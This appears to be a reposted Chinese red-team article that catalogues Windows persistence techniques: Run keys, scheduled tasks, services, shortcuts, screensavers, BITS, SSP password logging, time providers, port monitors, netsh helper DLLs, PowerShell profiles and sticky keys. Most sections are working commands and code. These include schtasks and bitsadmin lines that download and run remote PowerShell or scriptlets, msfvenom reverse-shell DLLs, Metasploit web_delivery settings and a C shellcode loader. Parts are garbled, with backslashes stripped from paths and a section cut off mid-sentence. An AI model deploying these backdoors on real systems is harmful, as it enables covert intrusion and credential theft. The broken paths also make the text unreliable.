一、注册表运行
在红队行动中,在网络中获得最初的立足点是一项耗时的任务。因此,持久性是红队成功运作的关键。在 Windows 登录期间创建将执行任意负载的注册表项是红队游戏手册上最古老的技巧之一。命令行-最新测试可用:
Reg add “HKCUEnvironment” /v UserInitMprLogonScript /t REG_SZ /d “C:xxx”
命令行-当前用户 Run 键:
Reg add “HKCUSoftwareMicrosoftWindowsCurrentVersionRun” /v Pentest /t REG_SZ /d “ C:xx”
Reg add “HKCUSoftwareMicrosoftWindowsCurrentVersionRunOnce
Reg add “ HKCUSoftwareMicrosoftWindowsCurrentVersionRunServices
Reg add “ HKCUSoftwareMicrosoftWindowsCurrentVersionRunServicesOnce”
命令行-本地计算机 Run 键:
Reg add “HKLMSoftwareMicrosoftWindowsCurrentVersionRun” /v Pentest /t REG_SZ /d “ C:xx”
Reg add “HKLMSoftwareMicrosoftWindowsCurrentVersionRunOnce
Reg add “ HKLMSoftwareMicrosoftWindowsCurrentVersionRunServices
Reg add “ HKLMSoftwareMicrosoftWindowsCurrentVersionRunServicesOnce”
另外还有两个注册表位置,这两个位置可以允许红队通过执行任意有效负载过 DLL 来实现持久性,这些将在登录期间执行,且需要管理员级别的特权。
命令行-Meterpreter Run 键:
Reg add “HKLMSoftwareMicrosoftWindowsCurrentVersionRunOnceEX 001
Reg add “HKLMSoftwareMicrosoftWindowsCurrentVersionRunOnceEX 001Depend
Runpersistance -U -P windows/x64/meteroreter/reverse_tcp -i 5 -p 443 -rxx.xx.xx.xx
PoshC2-持久性:
HKCUSoftwareMicrosoftWindowscurrentversionrunIEUpdate
HKCUSoftwareMicrosoftWindowscurrentversionthemsWallpaper777
Empire-持久性:
HKCUSoftwareMicorsoftWindowsCurrentVersionDebug
HKLMSoftwareMicrosoftWindowsCurrentVersionDebug
Empire-Persistense Registry Module
将在名曾 Updater 下创建另一个注册表项,该注册表项将要包含要执行的命令。Powershell 将尝试在下次登录时运行 Debug 密钥中存储的有效负载,以实现持久性。
HKCUSoftwareMicrosoftWindowsCurrentVersionRun
HKLMSoftwareMicrosoftWindowsCurrentVersionRun
二、计划任务
Windows 操作系统提供了一个实用程序(schtasks.exe),使系统管理员能够在特定的日期和时间执行程序或脚本。这种行为可作为一种持久性机制被红队利用。通过计划任务执行持久性不需要管理员权限,但如果已获得提升的权限,则允许进一步操作,例如在用户登录期间或在空闲状态期间执行任务。
计划任务的持久化技术可以手动实现,也可以自动实现。有效负载可以从磁盘或远程位置执行,它们可以是可执行文件、powershell 脚本或 scriptlet 的形式。这被认为是一种旧的持久性技术,但是它仍然可以在红队场景中使用,并且由各种开源工具支持。
在命令提示符下,“ schtasks ”可执行文件可用于创建计划任务,该任务将在每个 Windows 登录中以 SYSTEM 的形式下载并执行基于 PowerShell 的有效负载。
schtasks /create /tn PentestLab /tr"c:windowssyswow64WindowsPowerShellv1.0powershell.exe
-WindowStyle hidden -NoLogo-NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient)
#(X64) - On System Start
schtasks /create /tn PentestLab /tr "c:windowssyswow64WindowsPowerShellv1.0powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring(''http://10.0.2.21:8080/ZPWLywg'''))'" /sc onstart /ru System
#(X64) - On User Idle (30mins)
schtasks /create /tn PentestLab /tr "c:windowssyswow64WindowsPowerShellv1.0powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring(''http://10.0.2.21:8080/ZPWLywg'''))'" /sc onidle /i 30
#(X86) - On User Login
schtasks /create /tn PentestLab /tr "c:windowssystem32WindowsPowerShellv1.0powershell.exe -WindowStyle hidden -NoLogo
-NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring(''http://10.0.2.21:8080/ZPWLywg'''))'" /sc onlogon /ru System
#(X86) - On System Start
schtasks /create /tn PentestLab /tr "c:windowssystem32WindowsPowerShellv1.0powershell.exe -WindowStyle hidden -NoLogo
-NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring(''http://10.0.2.21:8080/ZPWLywg'''))'" /sc onstart
/ru System
#(X86) - On User Idle (30mins)
schtasks /create /tn PentestLab /tr "c:windowssystem32WindowsPowerShellv1.0powershell.exe -WindowStyle hidden -NoLogo
-NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring(''http://10.0.2.21:8080/ZPWLywg'''))'" /sc onidle /i 30
=======================================
有效负载的执行也可以在特定的时间发生,并且可以具有到期日期和自删除功能。“schtasks”实用程序提供了必要的选项,因为它是其功能的一部分。
schtasks /CREATE /TN "Windows Update" /TR "c:windowssyswow64WindowsPowerShellv1.0powershell.exe
-WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object
net.webclient).downloadstring(''http://10.0.2.21:8080/ZPWLywg'''))'" /SC minute /MO 1 /ED 04/11/2019 /ET 06:53
/Z /IT /RU %USERNAME%
Wevtutil qe Security /f:text /c:1 /q:”Event[System[(EventId=4647)]]”
schtasks /Create /TN OnLogOff /TR C:tmppentestlab.exe /SC ONEVENT /EC Security /MO "*[System[(Level=4 or Level=0) and (EventID=4634)]]
Schtasks /Query /tn OnLogOff /fo List /v
如果未正确配置 Windows 环境中的服务或这些服务可以用作持久性方法,则这些服务可能导致权限提升。创建一个新的服务需要管理员级别的特权,它已经不是隐蔽的持久性技术。然而,在红队的行动 中,针对那些在威胁检测方面还不成熟的公司,可以用来制造进一步的干扰,企业应建立 SOC 能力,以识别在其恶意软件中使用基本技术的威胁
命令行实现
如果账户具有本地管理员权限,则可以从命令提示符创建服务。参数 Binpath 用执行任意有效负载,而参
数 Auto 用于确保恶意服务将自动启动。
sc create pentestlab binpath= "cmd.exe /k C:temppentestlab.exe" start="auto" obj="LocalSystem"
sc start pentestlab
从 CMD 创建或者可以直接从 PowerShell 创建新服务:
New-Service -Name "pentestlab" -BinaryPathName "C:temppentestlab.exe" -Description "PentestLaboratories" -StartupType Automatic
Sc start pentestla
四、快捷方式修改
Windows 快捷方式包含对系统上安装的软件或文件位置(网络或本地)的引用。自从恶意软件出现之初,便
已将快捷方式用作执行恶意代码以实现持久性的一种方法。快捷方式的文件扩展名是.LNK,它为红队提供了
很多机会来执行各种格式的代码(exe,vbs,PowerShell,Scriptlet 等)或窃取 NTLM 哈希值。更隐蔽的方法是修改现
有合法快捷方式的属性,但是生成具有不同特征的快捷方式可以为代码执行提供灵活性
Empire 包含一个持久性模块,该模块可以合理地使用后门快捷方式,以执行任意的 PowerShell 有效负载。现有快捷方式的目标字段将被修改以执行存储在注册表项中的 base64 脚本。
Use module persistence/userland/backdoor_lnk
Empire-后门快捷方式
查看快捷方式的属性将显示目标字段已成功修改以执行 PowerShell 有效负载。
由于快捷方式存在于启动文件夹中,因此暂存器将在下一次 Windows 登录中执行,并且将与命令和控制
服务器建立连接。
但是,Empire 包含一个可用于生成具有 LNK 文件格式的暂存器的模
Use stagerwindows/launcher_lnk
Setlistener http
Execute
Empire-创建快捷方式
默认情况下,此模块将使用写字板图标伪装成可信任的应用程序。
快捷方式的目标字段将使用执行 Base64 有效负载的 PowerShell 命令填充,可以将快捷方式转移并移动到启动
文件夹中以保持持久性。
SharPerist
Sharperist 能够创建 Internet Explorer 快捷方式,该快捷方式将执行任意有效负载并将其放置在启动文件夹中以实现持久性。
Sharperist.exe-t startupfolder -c “cmd.exe” -a “/c C:temppentestlab.exe” -f “pentestlab” -madd
当用户进行身份验证是,将执行有效负载,并打开 Meterpreter
五、屏幕保护程序
知,Windows 的此功能被威胁参与者滥用为持久性方法。这是因为屏幕保护程序是具有.scr 文件扩展名的可执行文件,并通过 scrnsave.scr 实用程序执行
HKCUControl PanelDesktopSCRNSAVE.exe
HKCUControl PanelDesktopScreenSaveaActive
HKCUControl PanelDesktopScreenSaverSecure
HKCUControl PanelDesktopScreenSaveTimeOut
都可以用于后门植入
reg add "hkcucontrol paneldesktop" /v SCRNSAVE.EXE /d c:tmppentestlab.exe
reg add "hkcucontrol paneldesktop" /v SCRNSAVE.EXE /d c:tmppentestlab.scr
New-ItemProperty -Path 'HKCU:Control PanelDesktop' -Name 'SCRNSAVE.EXE' -Value 'c:tmppentestlab.exe'
New-ItemProperty -Path 'HKCU:Control PanelDesktop' -Name 'SCRNSAVE.EXE' -Value 'c:tmppentestlab.scr'
一旦机器不活动事件段过去,将执行任意有效载荷,并且将再次家里命令和控制的通信。
Nishang 框架包含一个 PowerShell 脚本,该脚本也可以执行此攻击,但与上述方法相比,它需要管理级别的特权,因为它在本地计算机中使用注册表项来存储将执行远程托管有效负载的PowerShell 命令,这样的技术的好处是它不会接触磁盘。
Import-Module .Add-ScrnSaveBackdoor.ps1 Add-ScrnSaveBackdoor -PayloadURL http://192.168.254.145:8080/Bebr7aOemwFJO
Useexploit/multi/script/web_delivery
Set payload windows/x64/meterpreter/reverse_tcp
Set lhost IP
Set target 2
Run
利用屏幕保护程序的持久性技术的问题在于,当用户返回并且系统位处于空闲模式时,会话将会终端。但是,redteam 可以在用户不在时执行其操作。如果屏幕保护程序被组策略
些使用程序之一时后台智能传输服务(BITS),它可以促进文件到 Web 服务器(HTTP)和共享文件夹(SMB)的传输能力。Mircrosoft 提供一个名为”bitsadmin”的二进制文件和 Powershell cmdlet,用于创建和管理文件传输。
bitsadmin /transfer backdoor /download /priority high http://10.0.2.21/pentestlab.exe C:tmppentestlab.exe
还有一个 PowerShell cmdlet 可以执行相同的任务。
Start-BitsTransfer -Source “http://xx.xx.xx.xx/pentestlab.exe” -Destination “C:tmppentestlab.exe”
1. 在创建参数需要作业的名称
2. 该 addfile 需要文件的远程位置和本地路径
3. 该 SetnotifyCmdLine 将执行的命令
4. 所述 SetMinRetryDelay 定义时间回调(sec)
5. 该参数将开始运行工作
bitsadmin/create backdoor
bitsadmin /addfile backdoor"http://10.0.2.21/pentestlab.exe"
bitsadmin/SetNotifyCmdLine backdoor C:tmppentestlab.exe NUL bitsadmin/SetMinRetryDelay "backdoor" 60
bitsadmin /resume backdoor
当任务在系统上运行时,有效负载将被执行,Meterpreter 会话将打开,或者通信将被接收回命令和控制(取决与场合中使用的 C2)
参数 SetNotifyCmdLine 也可用于通过 regsvr32 使用程序从远程位置执行 script 脚本。这种方法的好处是它
不会接触磁盘,并且可以避开将应用程序列入白名单的产品。
bitsadmin /SetNotifyCmdLine backdoor regsvr32.exe "/s /n /u /i:http://10.0.2.21:8080/FHXSd9.sct scrobj.dll"
bitsadmin /resume backdoo
Metasploit 框架可用于通过 Web 交付模块捕获有效负载。
use exploit/multi/script/web_delivery
set target 3
set payload windows/x64/meterpreter/reverse_tcp
set LHOST 10.0.2.21
Exploit
七、安全支持提供者
1. 注册 SSP DLL
2. 加载到内存
Mimikatz,Empire 和 PowerSploit 支持这两种方法,可以在红队中使用。
Mimikatz
reg add"hklmsystemcurrentcontrolsetcontrollsa" /v "SecurityPackages" /d"kerberos msv1_0 schannel wdigest tspkg pku2u mimilib"/t REG_MULTI_SZ
HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlLsaSecurity Packages
Mimikatz-kiwissp
另外,Mimikatz 通过向 LSASS注入新的安全支持提供程序(SSP)来支持内存技术选项。此技术不需要将 mimilib.dll放入磁盘或创建注册表项。但是,缺点在于重新启动过程中不会持续存在。
Pivilege::debug
Misc::memssp
当用户再次通过系统进行身份验证时,将在 System32 中创建一个日志文件,其中将包含纯文本用户密码。
C:WindowsSystem32mimilsa.log
相似工具还有 Empire、Powersploit、SharpsploitConsole 大同小异。
八、时间服务器
Windows 操作系统正在利用时间提供者体系结构,以便从网络中的其他网络设备或客户端获取准确的时间戳。时间提供者以 DLL 文件的形式实现,该文件位于 System32 文件夹中。Windows 启动期间将启动服务
W32Time 并加载 w32time.dll。DLL 加载是一种已知的技术,通常使红队攻击者有机会执行任意代码。由于关联的服务会在 Windows 启动期间自动启动,因此可以将其用作持久性机制。但是,此方法需要管理员级别的特权,因为指向时间提供者 DLL 文件的注册表项存储在 HKEY_LOCAL_MACHINE 中。根据系统是用作 NTP 服务器还是 NTP 客户端,使用以下两个注册表位置。
HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesW32TimeTimeProvidersNtpClient
HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesW32TimeTimeProvidersNtpServer
该 W32Time 将运行在 Windows 环境作为本地服务,它是通过 svchos.exe 的执行
恶意 DLL 已放入磁盘中,将执行有效负载。在命令行下,可以通过执行以下命令以指向任意 dll 的位置来修改时间提供者注册表项。
reg add "HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesW32TimeTimeProvidersNtpClient" /v DllName /t REG_SZ /d "C:tempw32time.dll"
从注册表编辑器中查看注册表将确认 Dllname 的值已更新。
该服务将在 Windows 启动期间启动,或者通过执行以下命令手动启动
Sc stop w32time
Sc start w32time
将执行任意有效负载,并建立 meterpreter 会话
修改 Windows 时间提供程序可能会向 SOC 团队发出警报。来自 Carbon Black 的 Scott Lundgren 在 C 中开发了一种称为 gametime 的时间提供程序。可以使用此 DLL 来向操作系统注册新的时间提供者,并在其他注册表项中执行修改。这样可以避免滥用现有的 Windows 时间提供程序,而该时间提供程序可以由 SOC 监视。
Rundll32 可用于注册 DLL。
Scott Lundgren 使用了要在系统上创建的注册表项“ GameTime”。
根据 Microsoft 文档,时间提供者必须实现以下回调函数。
TimeProvOpen
TimeProvCommand
TimeProvClose
TimeProvOpen 用于返回提供者句柄,TimeProvCommand 用于将命令发送到时间提供者,而
TimeProvClose 用于关闭时间提供者。
HRESULT __stdcall TimeProvOpen(
_In_ WCHAR *wszName,
_In_ TimeProvSysCallbacks *pSysCallbacks,
_Out_ TimeProvHandle *phTimeProv
){
UNREFERENCED_PARAMETER(pSysCallbacks);
UNREFERENCED_PARAMETER(phTimeProv);
OutputDebugStringW(wszName);
return (HRESULT_FROM_WIN32(ERROR_NOT_CAPABLE));
}
/*
**/
HRESULT __stdcall TimeProvCommand(
_In_ TimeProvHandle hTimeProv,
_In_ TimeProvCmd eCmd,
_In_ PVOID pvArgs
){
UNREFERENCED_PARAMETER(hTimeProv);
UNREFERENCED_PARAMETER(pvArgs); return (HRESULT_FROM_WIN32(ERROR_NOT_CAPABLE));
}
/*
**/
HRESULT __stdcall TimeProvClose(
_In_ TimeProvHandle hTimeProv
){
return (S_OK);
}
GameTime 提供程序将在系统上填充以下注册表项,因为它们是 Microsoft 时间提供程序规范的一部分。
DllName
Enabled
Inputprovider
DllName 指示包含供应商,该 DLL 的名称启用的使然是否提供商在系统启动过程中启动,当值为 1 时,启动系统的提供者,而 InputProvider 指示提供者是输入还是输出。注册表值“1”表示已输入提供者。这些在下面的代码中指定:
nRet = RegSetValueExW(hkTimeProvider,
L"DllName",
0,
REG_SZ,
(LPBYTE)g_wzModule,
(DWORD)wcslen(g_wzModule)*sizeof(WCHAR)+sizeof(WCHAR)); if (ERROR_SUCCESS != nRet) {
OutputError(L"RegCreateKeyExW failed", nRet); goto ErrorExit; } nRet = RegSetValueExW(hkTimeProvider, L"Enabled",
0,
REG_DWORD, (LPBYTE)&dwOne, sizeof(dwOne)); if (ERROR_SUCCESS != nRet) { OutputError(L"RegCreateKeyExW failed", nRet); goto ErrorExit; } nRet = RegSetValueExW(hkTimeProvider,
L"InputProvider",
0,
REG_DWORD, (LPBYTE)&dwOne, sizeof(dwOne)); if (ERROR_SUCCESS != nRet) { OutputError(L"RegCreateKeyExW failed", nRet); goto ErrorExit; }
该代码还是用 Deregister 回调函数从系统中删除创建的注册表项 GameTime,作为清理过程。
HKLMSystemCurrentVersionServicesW32TimeTimeProvidesGameTime
void CALLBACK Deregister( _In_ HWND hWnd,
_In_ HINSTANCE hInst,
_In_ LPSTR pwzCmdLine,
_In_ int nCmdShow)
{ long nRet;
UNREFERENCED_PARAMETER(hWnd);
UNREFERENCED_PARAMETER(hInst);
UNREFERENCED_PARAMETER(pwzCmdLine);
UNREFERENCED_PARAMETER(nCmdShow); OutputDebugStringW(L"Unregistern"); nRet = RegDeleteKeyW(HKEY_LOCAL_MACHINE, GAMETIME_SVC_KEY_NAME); if (ERROR_SUCCESS != nRet)
{ OutputError(L"RegDeleteKeyW failed!", nRet); goto ErrorExit;
} ErrorExit: return; }
实际上,可以使用 rundll32 项系统注册 dll,以便创建关联的注册表项,默认情况下,该注册表项将与系统一起启用新的时间提供程序。
Rundll32.exe gametime.dll,Register
将创建注册表项 GameTime,并且 DllName 将包含 DLL 的路径。
系统上进行清理。
Rundll32.exe gametime.dll,Deregister
取消注册 gametime.dll
九、端口监视器
后台打印服务程序负责管理 Windows 操作系统中的打印作业,与服务的交互通过打印后台处理程序 API 执行,该 API 包含一个函数(AddMonitor),可用于安装本地端口监视器并连接配置、数据和监视器文件。此函数能够将 dll 注入 spoolsv.exe 进程,并且通过创建注册表项,红队操作可以在系统上实现持久性。
Brady Bloxham 在 Defcon 22 上演示了这种持久性技术。应该注意的是,此技术需要管理员级别的特权,并且 DLL 必须拖放到磁盘上。Mantvydas Baranauskas 在他的网站上使用了以下代码,作为他的红色团队笔记的一部分。
该 WINDOWS.H 报头包括 Winspool.h 这是由微软规范所需的头。该 MONITOR_INFO_2 用于指定必要的监控细节是:
pName //监视器名称
pEnvironment //环境
pDLLName //监视器 DLL 文件的名称
int main() {
MONITOR_INFO_2 monitorInfo;
TCHAR env[12] = TEXT("Windows x64");
TCHAR name[12] = TEXT("Monitor"); TCHAR dll[12] = TEXT("test.dll"); monitorInfo.pName = name; monitorInfo.pEnvironment = env; monitorInfo.pDLLName = dll;
AddMonitor(NULL, 2, (LPBYTE)&monitorInfo); return 0;
}
AddMonitor 功能
编译代码将生成一个可执行文件(在本例中为 Monitors.exe),该可执行文件将在系统上执行恶意 DLL(test.dll) 的注册。Metasploit 框架可用于生成将服务与 Meterpreter 有效负载的 DLL 文件。
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST= xx.xx.xx.xx LPORT=4444 -f dll > test.dll
该 DLL 必须复制到 System32 文件夹中,因为依据 Microsoft 文档,这个是 AddMonitor 函数的预加载位置,以便加载相关 DLL。
CopyC:UserspentestlabDesktoptest.dll C:WindowsSystem32 >:Monitors.exe
将恶意 DLL 复制到 System32
Monitors.exe 文件必须与恶意 DLL 位于同一 System32 文件夹中。执行该文件将于 Meterpreter 建立通信
图为 Meterpreter-AddMonitor 注册 DLL
但是,为了实现持久性,在“Monitors”注册表位置下需要一个密钥。
HKLMSystemCurrentVersionControlPrintMonitors
以下命令将创建一个注册表项,该注册表项将包含值 test.dll。从编辑器中查看注册表将验证密钥是否已创建。
reg add"HKLMSystemCurrentVersionControlPrintMonitorsPentestlab" /v"Driver" /d "test.dll" /t "REG_SZ"
下次重新启动时,spoolsv.exe 进程将加载 Monitors 注册表项中存在并存储在 Windows 文件夹的 System32 中的所有驱动程序 DLL 文件。
下图演示了 Meterpreter 会话已建立与 Print Spooler 服务(SYSTEM)相同级别的特权,并且已从 System32 文件夹(已删除 test.dll 的文件夹)执行了执行
持久性端口监视器-Meterpreter
十、Netsh Helper DLL
Netsh 是 Windows 实用程序,管理员可以使用它来执行与系统网络配置有关的任务,并在基于主机的 Windows 防火墙上进行修改。可以通过使用 DLL 文件来扩展 Netsh 功能。此功能是 redteam 可以使用此工具来加载任意 DLL,以实现代码执行并因此实现持久性。但是,此技术的实现需要本地管理员级别的特权。可以通过 Metasploit Framework 的“msfvenom”生成任意 DLL 文件
Msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=xx.xx.xx.xx lport=4444 -f dll > /tmp/pentest.dll
生成恶意 DLL
可以通过 Meterpreter 的上传功能将 DLL 文件传输到目标主机中。
上传恶意 DLL
在添加一些帮手可以用来注册用的 DLL”Netsh”的使用工具。
Netsh
Add-helper path-to-mailcious-dll
添加助手 dll
每次 netsh 启动时,都会执行 dll,并其将建立通信。
Netsh Helper DLL - Meterpreter
但是,在默认的情况下,netsh 没有计划自启动。创建将在 Windows 启动期间执行实用程序的注册表项将在主机上创建持久性。这可以直接从 Meterpreter 会话或 Windows Shell 中完成。
reg add "HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRun" /v Pentestlab /t REG_SZ /d "C:WindowsSysWOW64netsh"
reg setval -k HKLM\software\microsoft\windows\currentversion\run\ -v pentestlab -d 'C:WindowsSysWOW64netsh'
创建注册表运行密钥
注册表运行键的替代方法是,可以使用多种其他方法来启动实用程序,例如创建服务或计划任务。
击败一家总部位于荷兰的 IT 安全公司,该公司率先在其 Github 存储库中发布概念证明 DLL 。DLL 是由 Marc
Smeets用C编写的,可以对其进行修改以包含自定义的shellcode。Metasploit Framework实用程序“ msfvenom ” 可用于生成各种语言的 shellcode
msfvenom -a x64 --platform Windows -p windows/x64/meterpreter/reverse_tcp -b 'x00' -f c
//Start a separate thread so netsh remains useful.
DWORD WINAPI ThreadFunction(LPVOID lpParameter)
{
LPVOID newMemory;
HANDLE currentProcess;
SIZE_T bytesWritten;
BOOL didWeCopy=FALSE; //Get the current Process handle.
currentProcess = GetCurrentProcess();
//Allocate memory with Read+Write+Execute permissions
newMemory =
VirtuallAllocEx(currentProcess,NULL,sizeof(buf),MEM_COMMIT,PAGE_EXECUTE_READWRITE); if(newMemory == NULL)
return -1;
//Copy the shellcode into the memory we just created didWeCopy = WriteProcessMemory(currntProcess,newMemory,(LPCVOID)&buf,sizeof(buf),&bytesWritten); if(!didWeCopy) return -2;
//Yeah! Let's run our shellcode!
((void(*)())newMemory)();
//define the DLL handler "InitHelpderDll" as required by netsh/
//See https://msdn extern "C" __declspec(dllexport) DWORD InitHelperDll(DWORD dwNetshVersion, PVOID pReserved)
{
//make a thread handler, start the function as a thread, and close the handler
threadHandle = CreateThread(NULL, 0, ThreadFunction, NULL, 0, NULL);
CloseHandle(threadHandle);
// simple testing by starting calculator system ("start calc");
// return NO_ERROR is required. Here we are doing it the nasty way return 0;
}
Netsh 帮助程序 DLL
与上述方法类似,rtcrowley 在他的 Github 存储库中发布了该方法的 PowerShell 版本。以下代码可用于执行 PowerShell Base64 编码的有效负载,并支持两个选项
Netsh Helper DLL - PowerShell 方法
执行”netsh”使用并使用”add helper”命令加载系统中的两个 DLL 都将执行继承的有效负载。
netsh add helper C:UserspentestlabDesktopNetshHelperBeacon.dll add helper C:UserspentestlabDesktopNetshPowerShell.dll
Netsh 助手 DLL
Empire 和 Metasploit 的”multi/handler“模块可用于接收来自两个 DLL 的通信。
Netsh 助手 DLL PowerShell
当执行”添加帮助程序”命令以加载 DLL 文件时,将在以下位置创建注册表项。
HKLMSoftwareMicrosoftNetsh
Netsh 注册表项
应该注意的时,某些可能安装在受感染系统上的 VPN 客户端可能会自动”netsh”启动,因此可能不需要使用其他办法进行持久化
十一、PowerShell配置文件
PowerShell 配置文件是一个 PowerShell 脚本,它允许系统管理员和用户自定义其环境,并在 PowerShell 会话启动时执行特定命令。它类似于管理员大量使用的登录脚本,用于为用户映射网络驱动器和打印机或收集有关系统的信息。如果用户定期在 PowerShell 上执行工作,修改 PowerShell 概要文件脚本的内容将允许对手或 red 团队将其用作持久性机制。这种技术可以在当前用户的上下文中执行。
PowerShell 配置文件脚本存储在“WindowsPowerShell”文件夹中,默认情况下,该文件夹对用户隐藏。如果已将负载放入磁盘,则可以使用“Start-Process”cmdlet 指向可执行文件的位置。“测试路径$Profile”确定当前用户是否存在配置文件。如果配置文件不存在,命令“新项-路径-配置文件类型-文件强制”将为当前用户创建一个概要文件,“out 文件”将用新内容重写概要文件。
echo $profile
Test-Path $profile
New-Item -Path $profile -Type File –Force
$string = 'Start-Process "C:tmppentestlab.exe"'
$string | Out-File -FilePath
"C:UserspentestlabDocumentsWindowsPowerShellMicrosoft.PowerShell_profile.ps1" -Append
PowerShell 配置文件-启动过程
PowerShell 下次启动时将执行配置文件的内容,并使用命令和控件建立连接。
持久性-PowerShell 配置文件可执行
与启动过程类似,“ Invoke-Item ” cmdlet 可用于执行项目的默认操作,即运行文件,打开应用程序等。launcher.bat 是 Empire 生成的有效负载,具有自我删除功能在执行时作为更秘密的选择,因为它不会创建新流程。
echo $profile
Test-Path $profile
New-Item -Path $profile -Type File –Force
Add-Content $profile "Invoke-Item C:tmplauncher.bat"
$string | Out-File -FilePath
"C:UserspentestlabDocumentsWindowsPowerShellMicrosoft.PowerShell_profile.ps1" -Append
PowerShell 配置文件-Bat 文件
当 PowerShell 在系统上再次启动时,将执行该文件,并且代理将于命令和控件进行通讯。执行不会像上面的示例那样在系统上创建新进程,而是将使用现有的 PowerShell 进程
持久性-PowerShell Profile Empire
cmdlet“ Invoke-Command ” 的用法允许执行命令。regsvr32 方法可以用作隐藏选项,因为它可以规避未正确配置的应用程序白名单解决方案,并且可以从远程位置执行 scriptlet。
echo $profile
Test-Path $profile
New-Item -Path $profile -Type File –Force
$string = 'Invoke-Command -ScriptBlock { regsvr32 /s /n /u /i:http://10.0.2.21:8080/jWcEbr.sct scrobj.dll }'
$string | Out-File -FilePath
"C:UserspentestlabDocumentsWindowsPowerShellMicrosoft.PowerShell_profile.ps1" -Append
PowerShell 配置文件-执行命令
vMetasploit 框架包含一个模块(web_delivery),该模块可以生成并提供恶意 scriptlet 文件。但是,其他命令和控制(C2)框架(例如 PoshC2)也支持此功能,并且与 Metasploit 相比,可以提供扩展的功能
持久性-Powershell 配置文件 Regsvr32
使用多个命令对 PowerShell 配置文件进行大量修改会向用户发送一条有关增加加载时间的消息。但是,执行一个命令不会产生任何消息,有效负载将在后台运行,并且用户不会注意到任何差异。马特·尼尔森(Matt
Nelson)过去做过一些工作,在他的博客中已经展示了有关通过使用 Excel 宏作为传递机制来创建和滥用
PowerShell 配置文件的工作。通过将任意命令存储在配置文件脚本中,PowerShell 配置文件为代码执行提供了很多机会。一个计划任务可以用来将在特定的时间执行 PowerShell 来避免需要依靠用户来启动 PowerShell 的
十二、辅助功能
辅助功能提供了一些选项(屏幕键盘、放大镜、屏幕阅读等),可以帮助残疾人更轻松地使用 Windows 操作系统但是,此功能可能会被滥用,以在已启用 RDP 且已获得管理员级别权限的主机上实现持久性。此技术涉及磁盘,或者需要修改注册表才能执行存储的远程负载。通过辅助功能实现持久性的最简单方法是用合法的 cmd.exe 或任何其他有效负载替换粘滞键(sethc.exe)的二进制文件。
通过辅助功能可以实现持久性的最简单的方法时用合法的 cmd 或从任何其他有效负载替换沾滞键
(sethc.exe)的二进制文件。
持久性-沾滞键二进制替换
按住 Shift 键 5 次将启用沾滞键,并且将执行恶意 sethc.exe 而不是合法的 sethc.exe,这将提供提升权限的会话或提升 System 命令提示符。
持久性-沾滞
Narrator
在 Windows 10 操作系统中,“Narrator”是一个屏幕阅读应用程序,可以帮助人们解决可见性问题。Giulio
Comi 发现执行叙述者时可以修改注册表以创建无文件的持久性。在实施此技术之前,Giulio 建议对主机进行一系列修改,以自动启动 Narator 并减少噪音。建议以下设置:
Narator 设置此技术首先在他的博客中得到了证明,它包括两个部分:
删除”DelegffateExecute”注册表项
修改”默认”注册表项以执行命令
这两项都存储在以下注册表位置:
HKCUSoftwareClassesAppXypsaf9f1qserqevf0sws76dx4k9a5206Shellopencommand
文章来源
某群不知名PDF,
如侵权后台请后台私聊删除文章或者请直接投诉
完整版请后台回复:"权限维持"
本文最终解释权归本文作者所有!!!
专注于信息安全方面分享,非营利性组织,不接商业广告,致力于向大家分享有用的干货,欢迎投稿以及转发
由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者不为此承担任何责任。
一切法律后果均由攻击者承担!!!
日站不规范,亲人两行泪!!!
日站不规范,亲人两行泪!!!
日站不规范,亲人两行泪!!!
-
专注于信息安全方面分享,非营利性组织,不接商业广告
-
关注不迷路,点赞!关注!转发!评论!!
-
要投稿的后台留言即可,会第一时间回复,谢谢!
-
CWE-328 可逆的单向哈希 Reversible One-Way Hash 结构: Simple Abstraction: Base 状态: Draft 被利用可能性: unkown 基本描述 The product uses a hashing algo…
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论